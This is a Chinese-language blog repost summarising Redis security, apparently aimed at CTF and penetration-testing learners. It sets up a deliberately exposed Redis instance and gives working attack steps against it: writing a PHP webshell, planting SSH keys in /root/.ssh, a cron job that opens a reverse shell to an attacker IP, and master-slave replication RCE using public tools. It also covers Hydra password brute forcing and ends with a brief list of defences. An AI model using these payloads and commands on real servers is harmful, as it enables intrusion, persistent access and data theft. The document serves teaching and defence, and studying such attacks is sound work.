Redis 安全汇总小结

news2024/9/29 7:22:35

Redis

redis 是一个C语言编写的 key-value 存储系统,可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。  Redis服务的默认端口是   6379。 

常用命令

  • 查看信息:info
  • 删除所有数据库内容:flushall
  • 刷新数据库:flushdb
  • 查看所有键:keys *,使用select num可以查看键值数据
  • 设置变量:set aaa “mi1k7ea”
  • 查看变量值:get aaa
  • 查看备份文件路径:config get dir
  • 设置备份文件路径:config set dir dirpath
  • 查看备份文件名:config get dbfilename
  • 设置备份文件名:config set dbfilename filename
  • 保存备份文件:save

漏洞环境搭建

这里搭建漏洞版本的Redis服务,同时配置服务进行全网监听:

# 下载并解压运行make
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
tar zxf redis-3.2.11.tar.gz
cd redis-3.2.11/
make

# 进入src目录中将redis-server和redis-cli复制到/usr/bin目录下,方便命令识别
cd src
cp redis-server /usr/bin/
cp redis-cli /usr/bin/

# 将redis.conf复制到/etc/目录下
cd ..
cp redis.conf /etc/

# 编辑/etc/中的redis配置文件redis.conf
vim /etc/redis.conf
#	注释掉本地绑定,允许除本地外的主机远程访问Redis服务
#	#bind 127.0.0.1
#	关闭保护模式,允许远程连接Redis服务
#	protected-mode no   公网可连

# 使用/etc/目录下的redis.conf文件中的配置来启动Redis服务
redis-server /etc/redis.conf

链接 redis

redis-cli -h 公网IP或虚拟linux搭建的IP -p 6379

安全配置密码验证

我们可以通过Redis的配置文件设置密码参数,这样客户端连接到Redis服务就需要密码验证,这样可以让你的Redis服务更安全,进而杜绝了未授权访问漏洞。

我们可以通过以下命令查看是否设置了密码验证:

127.0.0.1:6379> CONFIG GET requirepass
1) "requirepass"
2) ""

默认情况下 requirepass 是控的,这就意味着你不用密码就能链接Redis 服务器

可以使用以下命令来修改该参数

127.0.0.1:6379> CONFIG set requirepass "snowy"
OK
127.0.0.1:6379> CONFIG get requirepass
1) "requirepass"
2) "snowy"

这时候 你再 get reuirepass 的时候,他就会提示需要认证,否则无法执行命令:

密码验证 用到AUTH命令,如下:

AHUTH password

 这时就可以执行命令了:

 

Redis 漏洞攻击利用

Redis漏洞包括未授权访问漏洞所引起的一系列深入攻击利用以及其他一些已知的Redis CVE漏洞,在CTF中 也是经常可以见到的

未授权访问漏洞

由于配置不正确的原因,导致Redis 服务暴露在公网上(即绑定在0.0.0.0:6379),并且没有开启相关的认证添加相关安全策略的情况下,会存在 未授权访问漏洞 

攻击者在未授权访问Redis的情况下,可以获取数据库的所有数据、删除数据库数据等,进一步地可以利用Redis相关方法来实现写入WebShell、写入Crontab定时任务、写入SSH公钥以及利用主从复制RCE等一系列的攻击利用,将Redis未授权访问漏洞的危害无限放大。

敏感信息泄露与 数据库内容删除

因为我们前面介绍了知道, Redis 是以 key- value 的形式存储数据的,而value 可以是很多种类型的数据,如String ,array等,我们使用Redis 的语句可以获取数据库中存储的敏感信息,这里为了方便,直接通过  keys *    来获取所有的键,然后再通过get 命令 获取其value 。(keys * 相当于是数据库中 select * from * 的操作,一般不会这么使用。)

 info 可以看到redis 版本,OS内核,配置文件路径等:

 

向web 目录写入Webshell

前提是 Redis 所在的机器 开启了 Web 服务,且已知 Web 服务目录路径

原理就是在Redis中插入一条数据,将WebShell代码作为value,key值随意,然后通过修改数据库的默认路径为Web服务目录和默认的缓存文件为WebShell文件,最后通过save命令以备份的方式把缓存的数据保存在文件里,这样就可以在服务器端的Web目录下生成一个WebShell文件。

具体步骤就是先写入一哥含有 WebShell 代码的键值对,然后设置 备份目录 为 Web 目录。接着设置备份名 为Webshell 的文件名,最后通过save 命令保存文件到本地。 如:

set payload "<?php @eval($_POST[c]);?>"  //key - value
config set dir /var/www/html/            // 修改数据库的默认路径为Web服务目录
config set dbfilename shell.php          //设置默认的缓存文件为WebShell文件
save                                     //保存

 在服务端是可以看到生成的shell.php 文件的,其内容如下,包含了一句话木马

 由于php 的容错性质,该PHP代码是能够正常执行的:

 

写入SSH公钥直接登录

前提是 Redis 服务是以root 权限运行的,其作用可能是未授权登录了,再种下个公钥以便后期登录(个人理解)

原理和前面一样的,只是备份的目录和文件名修改为/root/.ssh/目录和authorized_keys文件名。

现在服务器上生成  公私钥:

ssh-keygen -t rsa

ubuntu 获取公钥内容cat /home/ski12/.ssh/id_rsa.pub:

centos 获取公钥内容:cat /root/.ssh/id_rsa.pub

"\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHNnmaLT5dN/AcIRmVEavvtmZ4nMj7D1kzVkUAPudpdy1UxrILT/UGRgCyLR4Fp/pSvjSooDsWW3uoGzMberOhiiv8Oa/0NLGlaa/9B84CWMXTNAKvB6ODDBHNrbREv1oNZ6JLLosohxlQ22aG17gM1YGiUnNoeOpXmJTaLAVTkkZZNQPRdnwg+eivAAT9iCzo1mwy80BZRrvEeNI3u5mGK5N0iZZIj765bG7VUTfyKa5Bkc00Dq4aIvUp7c2ZnDCmzcrCRbRkFTujh/mkMNXEzmMl7yE3HqEeMW0UcaRPDOINvgAW3A+4Ks4PJlJ4WGbTjm+wFPiHitDB8XywoKhn root@iZwz9338rfviy0xs1mckegZ\n\n"

通过Redis 客户端将公钥 内容写入到 /root/.ssh/authorized_keys 文件中,注意保存key 的时候加上两个 \n  是为了避免和 Redis 里的其他缓存数据混合了:

 此时 看到服务器种 /root/.ssh/目录就生成成功了一个authorized_keys 文件:

 接着在  普通客户机上 使用密钥直接ssh 链接到服务端 即可得到shell

写入定时任务反弹shell~

该方法 只能CentOS 上使用,刚好我就是centos。 Ubuntu、Debian上行不通。原因如下:

  • 权限问题,Ubuntu定时任务需要root权限;
  • Redis备份文件存在乱码,而Debian和Ubuntu对定时任务的格式校验很严格,因此在Debian和Ubuntu上会报错,而在CentOS上不会报错;

 原理和前面是一样的,只是备份的目录和文件名修改了下:

config set dir /var/spool/cron/crontabs/     #设置默认目录
config set dbfilename root                   #设置缓存文件
set payload "\n\n* * * * * bash -i >& /dev/tcp/192.168.10.307/666 0>&1\n\n"  #反弹shell
save

 注意,不同类型、版本的OS的crontabs所在路径会有所区别。

其他的利用

任何可利用Redis未授权访问漏洞来写文件的地方都能被进行恶意利用,除了前面几项利用方式外,还有以下收集的几个在Linux或Windows下的利用方式。

写入/etc/passwd文件实现任意账号密码重置:访问的文章审核中... - FreeBuf网络安全行业门户

写入Windows启动项:Redis未授权访问在windows下的利用-安全客 - 安全资讯平台

写入Windows MOF:Redis未授权访问在windows下的利用-安全客 - 安全资讯平台

利用主从复制RCE

基本概念:

如果把数据存储在单个Redis中,而读写体量比较大的时候,服务端的性能就会大受影响。为了应对这种情况,Redis就提供了主从模式。

主从模式是指使用一哥Redis 作为主机,其他Redis 则作为从机 也就是备用机。其中主机和从机数据相同,主机只负责写,从机只负责读,通过读写分离可以大幅度减轻流量的压力,即是一种通过牺牲空间来换取效率的缓解方式。

攻击利用

属于 未授权访问的一种利用方式

4.x、5.x 版本的Redis提供了主从模式。在 Redis 4.x 之后,通过外部扩展,可以在Redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机可以通过FULLRESYNC同步文件到从机上,然后在从机上加载恶意so文件,即可执行命令。

  • 全量复制是将数据库备份文件整个传输过去从机,然后从机清空内存数据库,将备份文件加载到数据库中;
  • 部分复制只是将写命令发送给从机;

因此 ,想要复制备份文件的话 就需要设置Redis 主机的传输方式为全量传输   

思路就是我们需要模拟协议 收发包就能伪装成  Redis主机  使被攻击的 Redis 服务器成为 从机  

利用工具如下:

生成恶意so 文件
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

伪造Redis主机的脚本
git clone https://github.com/Ridter/redis-rce.git

首先要生成恶意so文件,下载第一个工具然后make即可生成。

然后在攻击者机器上执行如下命令即可成功RCE:

python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

也可以使用此脚本脚本:

wget https://github.com/n0b0dyCN/redis-rogue-server/

cd RedisModulesSDK/exp/

make

两者都能成功 但前提是 redis 的版本一定是 redis4.x-5.x的版本

 

用Hydra暴力破解Redis密码

kali自带 Hydra 对Redis密码进行暴力破解:

hydra -P 字典 redis://ip

Python urllib CRLF注入打本地Redis服务

如果目标站点使用了Python漏洞版本的urllib库,并且请求的url外部可控,那么就可能存在内网被探测的风险,如果本机或内网服务器中装有未授权访问漏洞的Redis,那么服务器就存在被getshell的风险。

原理和组合SSRF漏洞完全一样,通过CRLF注入来利用Redis向Crontab写入反弹shell的定时任务。

具体可参考:Hack Redis via Python urllib HTTP Header Injection

历史CVE漏洞

Redis远程代码执行漏洞(CVE-2016-8339)

CVE-2015-8080

CVE-2015-4335

CVE-2013-7458

防御方法

  • 禁止公网开放Redis服务,可以在防火墙上禁用6379端口;
  • 修改Redis服务端口为其他非常见的端口号;
  • 配置Redis的密码访问验证;
  • 禁用不使用的高危命令;
  • 重命名高危命令的名称;
  • 以低权限运行Redis服务,禁止用root等最高权限运行;
  • 确保authorized_keys文件的安全,尽量阻止其他用户添加新的公钥;

参考链接

记一次Redis+Getshell经验分享 - FreeBuf网络安全行业门户

Redis 基于主从复制的RCE利用方式

Redis安全小结 [ Mi1k7ea ]

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/186379.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

电子技术——基本MOS放大器配置

电子技术——基本MOS放大器配置 上一节我们探究了一种MOS管的放大器实现&#xff0c;其实MOS放大器还有许多变种配置&#xff0c;在本节我们学习最基本的三大MOS放大器配置&#xff0c;分别是共栅极&#xff08;CG&#xff09;、共漏极&#xff08;CD&#xff09;、共源极&…

【MSSQL】分析数据库日志文件无法收缩的问题

一、问题描述 在SQL Server 2008R2数据库中&#xff0c;无法对数据库日志进行收缩&#xff0c;导致日志不断膨胀。 二、问题分析 由于是日志文件不断增大且无法收缩&#xff0c;所以初步判断为存在未提交的事务。检查可能阻止日志阶段的活动事务&#xff0c;执行&#xff1a…

使用 JMX 连接远程服务进行监测

使用 JMX 连接远程服务进行监测1.JVM参数2.启动脚本3.演示使用相关JMX工具连接部署在服务器上的Java应用&#xff0c;可以对应用的内存使用量&#xff0c;CPU占用率和线程等信息进行监测。相关监测工具有jconsole&#xff0c;jprofiler&#xff0c;jvisualvm等。1.JVM参数 监测…

本地镜像发布到阿里云

1、找到阿里云控制台中的容器镜像服务&#xff0c;进入个人版 2、先创建命名空间&#xff0c;再创建镜像仓库 记住创建时设置的密码&#xff0c;选择创建本地的镜像仓库 建完之后&#xff0c;选择管理 进入后的界面如下 内容如下&#xff1a; 1. 登录阿里云Docker Registry $…

547、RocketMQ详细入门教程系列 -【消息队列之 RocketMQ(一)】 2023.01.30

目录一、RocketMQ 特点二、基本概念2.1 生产者2.2 消费者2.3 消息服务器2.4 名称服务器三、参考链接一、RocketMQ 特点 RocketMQ 是阿里巴巴在2012年开源的分布式消息中间件&#xff0c;目前已经捐赠给 Apache 软件基金会&#xff0c;并于2017年9月25日成为 Apache 的顶级项目…

【自然语言处理】【大模型】PaLM:基于Pathways的大语言模型

PaLM&#xff1a;基于Pathways的大语言模型《PaLM: Scaling Language Modeling with Pathways》论文地址&#xff1a;https://arxiv.org/pdf/2204.02311.pdf 相关博客 【自然语言处理】【大模型】PaLM&#xff1a;基于Pathways的大语言模型 【自然语言处理】【chatGPT系列】大语…

电脑重装系统后找不到硬盘怎么办

有网友的win10系统电脑出了系统故障进行了重装&#xff0c;但是又发现了重装系统后找不到硬盘的新问题&#xff0c;那么重装系统后找不到硬盘怎么办呢? 工具/原料&#xff1a; 系统版本&#xff1a;win10专业版 品牌型号&#xff1a;戴尔成就5880 方法/步骤&#xff1a; …

使用FFmpeg工具进行推流、拉流、截图、变速、转换,及常见问题处理

下载安装 FFmpeg下载官网&#xff1a;FFmpeg &#xff0c;这里提供了官网下载的windows环境 4.1.3版本&#xff1a;https://download.csdn.net/download/qq_43474959/12311422 下载后&#xff0c;配置环境变量&#xff0c;将bin文件地址加入到path中&#xff1a; 测试 在cmd…

数据结构 | 图结构 | 最小生成树 | Kruskal Prim算法讲解

文章目录前言Kruskal算法Prim算法前言 讲解之前&#xff0c;我们需要先明白连通图是指什么&#xff1f;连通图具有以一个顶点为起点可以到达该图中的任意一个顶点的特性&#xff0c;就算它们不直接相连&#xff0c;但是它们之间至少有一条可以递达的路径。并且连通图是针对无向…

Mysql 中的日期时间函数汇总

日期和时间函数MySQL中内置了大量的日期和时间函数&#xff0c;能够灵活、方便地处理日期和时间数据&#xff0c;本节就简单介绍一下MySQL中内置的日期和时间函数。1 CURDATE()函数CURDATE()函数用于返回当前日期&#xff0c;只包含年、月、日部分&#xff0c;格式为YYYY-MM-D…

【Unity3D小工具】Unity3D中实现仿真时钟、表盘、仿原神时钟

推荐阅读 CSDN主页GitHub开源地址Unity3D插件分享简书地址我的个人博客 大家好&#xff0c;我是佛系工程师☆恬静的小魔龙☆&#xff0c;不定时更新Unity开发技巧&#xff0c;觉得有用记得一键三连哦。 一、前言 今天实现一个时钟工具&#xff0c;其实在之前已经完成了一个简…

P3366 【模板】最小生成树

题目描述 如题&#xff0c;给出一个无向图&#xff0c;求出最小生成树&#xff0c;如果该图不连通&#xff0c;则输出 orz。 输入格式 第一行包含两个整数 &#xfffd;,&#xfffd;N,M&#xff0c;表示该图共有 &#xfffd;N 个结点和 &#xfffd;M 条无向边。 接下来 &…

【K8S系列】Pod重启策略及重启可能原因

目录 1 重启策略 1.1 Always 1.2 OnFailure 1.3 Nerver 1.4 yaml示例 2 Pod常见异常状态 2.1 Pending状态 2.2 Waiting/ContainerCreating状态 2.3 CrashLoopBackOff状态 2.4 ImagePullBackOff状态 2.5 Error状态 2.6 其他状态说明 tips: 3.自动重启的可能原…

【HBase——陌陌海量存储案例】5. Apache Phoenix快速入门

6.3 快速入门 6.3.1 需求 本次的小DEMO&#xff0c;我们沿用之前的订单数据集。我们将使用Phoenix来创建表&#xff0c;并进行数据增删改查操作。 列名说明id订单IDstatus订单状态money支付金额pay_way支付方式IDuser_id用户IDoperation_time操作时间category商品分类 6.3.…

Ruoyi-Cloud框架学习-【06 新增业务项目】

新建模块 结构查看 新增子模块&#xff0c;按照若依赖的约定&#xff0c;避免后续出现问题&#xff0c;当然一通百通&#xff0c;也可以按照自己的思路配置&#xff0c;修改对应的配置即可。 后端项目结构如下&#xff0c;通过观察&#xff0c;我们需要新增自己的模块在ruoy…

git reset

reset三种模式区别和使用场景区别&#xff1a;--hard&#xff1a;重置位置的同时&#xff0c;直接将 working Tree工作目录、 index 暂存区及 repository 都重置成目标Reset节点的內容,所以效果看起来等同于清空暂存区和工作区。--soft&#xff1a;重置位置的同时&#xff0c;保…

Java后端项目排错经验分享

导致错误的原因有很多&#xff0c;最常见的无非也就那么几种&#xff1a; 1、粗心导致的格式问题以及代码多写少写错写字母的问题 2、代码逻辑问题 3、框架版本不匹配问题 无论是哪种问题&#xff0c;排查错误的方式最好最便捷的方式有调试日志&#xff0c;那么如果是线上问…

【头歌】循环队列及链队列的基本操作

第1关&#xff1a;循环队列的基本操作任务描述本关任务是实现循环队列的基本操作函数&#xff0c;以实现判断队列是否为满、是否为空、求队列元素个数、进队和出队等功能。相关知识队列的基本概念队列&#xff08;简称队&#xff09;也是一种运算受限的线性表&#xff0c;在这种…

Kubernetes集群搭建 (未完待续)

Kubernetes集群搭建 目录 前言前期准备K8S集群安装 虚拟机设置安装K8S集群k8s部署Nginx 附录1 Docker安装附录2 yum k8s 问题附录3 k8s start问题附录4 k8s master init 前言 本文指定Docker与K8s版本&#xff0c;保证兼容性&#xff0c;可供参考 Docker‐ce‐3:19.03.9‐3…

推荐7个高质量图片素材网站

这期给大家分享7个免费、高质量图片素材网站&#xff0c;而且无版权&#xff0c;不用担心侵权&#xff01;建议收藏。 1、潮点视频 https://shipin520.com/shipin-tp/0-1329-0-0-0-0-0-0-0-1.html?from_code2510 网站主要以提供高质量视频素材为主&#xff0c;但也有大量的配…